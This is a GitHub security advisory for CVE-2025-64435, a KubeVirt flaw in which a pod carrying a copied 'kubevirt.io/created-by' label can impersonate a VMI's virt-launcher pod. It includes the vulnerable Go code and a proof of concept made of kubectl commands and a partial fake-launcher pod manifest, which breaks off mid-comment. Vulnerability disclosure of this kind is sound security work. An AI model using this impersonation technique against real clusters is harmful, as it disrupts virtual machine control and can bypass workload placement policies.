GitHub Advisoryadvisory · Go
GHSA-9m94-w2vq-hcf9 KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation
MEDIUM
Official page ↗
- Aliases
- CVE-2025-64435
- Ecosystem
- Go
- Packages
- kubevirt.io/kubevirt
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-703
- Reviewed
- 2025-11-06
Affected packages
• Go kubevirt.io/kubevirt: < 1.7.0-beta.0 → fixed in 1.7.0-beta.0
Description
Summary
_Short summary of the problem. Make the impact and severity as clear as possible.
A logic flaw in the `virt-controller` allows an attacker to disrupt the control over a running VMI by creating a pod with the same labels as the legitimate `virt-launcher` pod associated with the VMI. This can mislead the `virt-controller` into associating the fake pod with the VMI, resulting in incorrect status updates and potentially causing a DoS (Denial-of-Service).
Details
_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._
A vulnerability has been identified in the logic responsible for reconciling the state of VMI. Specifically, it is possible to associate a malicious attacker-controlled pod with an existing VMI running within the same namespace as the pod, thereby replacing the legitimate `virt-launcher` pod associated with the VMI.
The `virt-launcher` pod is critical for enforcing the isolation mechanisms applied to the QEMU process that runs the virtual machine. It also serves, along with `virt-handler`, as a management interface that allows cluster users, operators, or administrators to control the lifecycle of the VMI (e.g., starting, stopping, or migrating it).
When `virt-controller` receives a notification about a change in a VMI's state, it attempts to identify the corresponding `virt-launcher` pod. This is necessary in several scenarios, including:
• When hardware devices are requested to be hotplugged into the VMI—they must also be hotplugged into the associated `virt-launcher` pod.
• When additional RAM is requested—this may require updating the `virt-launcher` pod's cgroups.
• When additional CPU resources are added—this may also necessitate modifying the `virt-launcher` pod's cgroups.
• When the VMI is scheduled to migrate to another node.
The core issue lies in the implementation of the `GetControllerOf` function, which is responsible for determining the controller (i.e., owning resource) of a given pod. In its current form, this logic can be manipulated, allowing an attacker to substitute a rogue pod in place of the legitimate `virt-launcher`, thereby compromising the VMI's integrity and control mechanisms.
```go
//pkg/controller/controller.go
func CurrentVMIPod(vmi *v1.VirtualMachineInstance, podIndexer cache.Indexer) (*k8sv1.Pod, error) {
// Get all pods from the VMI namespace which contain the label "kubevirt.io"
objs, err := podIndexer.ByIndex(cache.NamespaceIndex, vmi.Namespace)
if err != nil {
return nil, err
}
pods := []*k8sv1.Pod{}
for _, obj := range objs {
pod := obj.(*k8sv1.Pod)
pods = append(pods, pod)
}
var curPod *k8sv1.Pod = nil
for _, pod := range pods {
if !IsControlledBy(pod, vmi) {
continue
}
if vmi.Status.NodeName != "" &&
vmi.Status.NodeName != pod.Spec.NodeName {
// This pod isn't scheduled to the current node.
// This can occur during the initial migration phases when
// a new target node is being prepared for the VMI.
continue
}
// take the most recently created pod
if curPod == nil || curPod.CreationTimestamp.Before(&pod.CreationTimestamp) {
curPod = pod
}
}
return curPod, nil
}
```
```go
// pkg/controller/controller_ref.go
// GetControllerOf returns the controllerRef if controllee has a controller,
// otherwise returns nil.
func GetControllerOf(pod *k8sv1.Pod) *metav1.OwnerReference {
controllerRef := metav1.GetControllerOf(pod)
if controllerRef != nil {
return controllerRef
}
// We may find pods that are only using CreatedByLabel and not set with an OwnerReference
if createdBy := pod.Labels[virtv1.CreatedByLabel]; len(createdBy) > 0 {
name := pod.Annotations[virtv1.DomainAnnotation]
uid := types.UID(createdBy)
vmi := virtv1.NewVMI(name, uid)
return metav1.NewControllerRef(vmi, virtv1.VirtualMachineInstanceGroupVersionKind)
}
return nil
}
func IsControlledBy(pod *k8sv1.Pod, vmi *virtv1.VirtualMachineInstance) bool {
if controllerRef := GetControllerOf(pod); controllerRef != nil {
return controllerRef.UID == vmi.UID
}
return false
}
```
The current logic assumes that a `virt-launcher` pod associated with a VMI may not always have a `controllerRef`. In such cases, the controller falls back to inspecting the pod's labels. Specifically it evaluates the `kubevirt.io/created-by` label, which is expected to match the UID of the VMI triggering the reconciliation loop. If multiple pods are found that could be associated with the same VMI, the `virt-controller` selects the most recently created one.
This logic appears to be designed with migration scenarios in mind, where it is expected that two `virt-launcher` pods might temporarily coexist for the same VMI: one for the migration source and one for the migration target node. However, a scenario was not identified in which a legitimate `virt-launcher` pod lacks a `controllerRef` and relies solely on labels (such as `kubevirt.io/created-by`) to indicate its association with a VMI.
This fallback behaviour introduces a security risk. If an attacker is able to obtain the UID of a running VMI and create a pod within the same namespace, they can assign it labels that mimic those of a legitimate `virt-launcher` pod. As a result, the `CurrentVMIPod` function could mistakenly return the attacker-controlled pod instead of the authentic one.
This vulnerability has at least two serious consequences:
• The attacker could disrupt or seize control over the VMI's lifecycle operations.
• The attacker could potentially influence the VMI's migration target node, bypassing node-level security constraints such as `nodeSelector` or `nodeAffinity`, which are typically used to enforce workload placement policies.
PoC
_Complete instructions, including specific configuration details, to reproduce the vulnerability._
Consider the following VMI definition:
```yaml
apiVersion: kubevirt.io/v1
kind: VirtualMachineInstance
metadata:
name: launcher-label-confusion
spec:
domain:
devices:
disks:
• name: containerdisk
disk:
bus: virtio
• name: cloudinitdisk
disk:
bus: virtio
resources:
requests:
memory: 1024M
terminationGracePeriodSeconds: 0
volumes:
• name: containerdisk
containerDisk:
image: quay.io/kubevirt/cirros-container-disk-demo
• name: cloudinitdisk
cloudInitNoCloud:
userDataBase64: SGkuXG4=
```
```bash
Deploy the launcher-label-confusion VMI
operator@minikube:~$ kubectl apply -f launcher-confusion-labels.yaml
Get the UID of the VMI
operator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath='{.metadata.uid}'
18afb8bf-70c4-498b-aece-35804c9a0d11
Find the UID of the associated to the VMI `virt-launcher` pods (ActivePods)
operator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath='{.status.activePods}'
{"674bc0b1-e3c7-4c05-b300-9e5744a5f2c8":"minikube"}
```
The UID of the VMI can also be found as an argument to the container in the `virt-launcher` pod:
```bash
Inspect the `virt-launcher` pod associated with the VMI and the --uid CLI argument with which it was launched
operator@minikube:~$ kubectl get pods virt-launcher-launcher-label-confusion-bdkwj -o jsonpath='{.spec.containers[0]}' | jq .
{
"command": [
"/usr/bin/virt-launcher-monitor",
...
"--uid",
"18afb8bf-70c4-498b-aece-35804c9a0d11",
"--namespace",
"default",
...
```
Consider the following attacker-controlled pod which is associated to the VMI using the UID defined in the `kubevirt.io/created-by` label:
```yaml
apiVersion: v1
kind: Pod
metadata:
name: fake-launcher
labels:
kubevirt.io: intruder # this is the label used by the virt-controller to identify pods associated with KubeVirt components
kubevirt.io/created-by: 18afb8bf-70c4-498b-aece-35804c9a0d11 # this is the UID of the launcher-label-confusion VMI which is going to be taken into account if there is no ownerReference. This is the case f…
Related
Alias · CVE (1)
- CVE-2025-64435 KubeVirt is a virtual machine management add-on for Kubernetes. vulnerability
Weakness · CWE (1)
- CWE-703 Improper Check or Handling of Exceptional Conditions weakness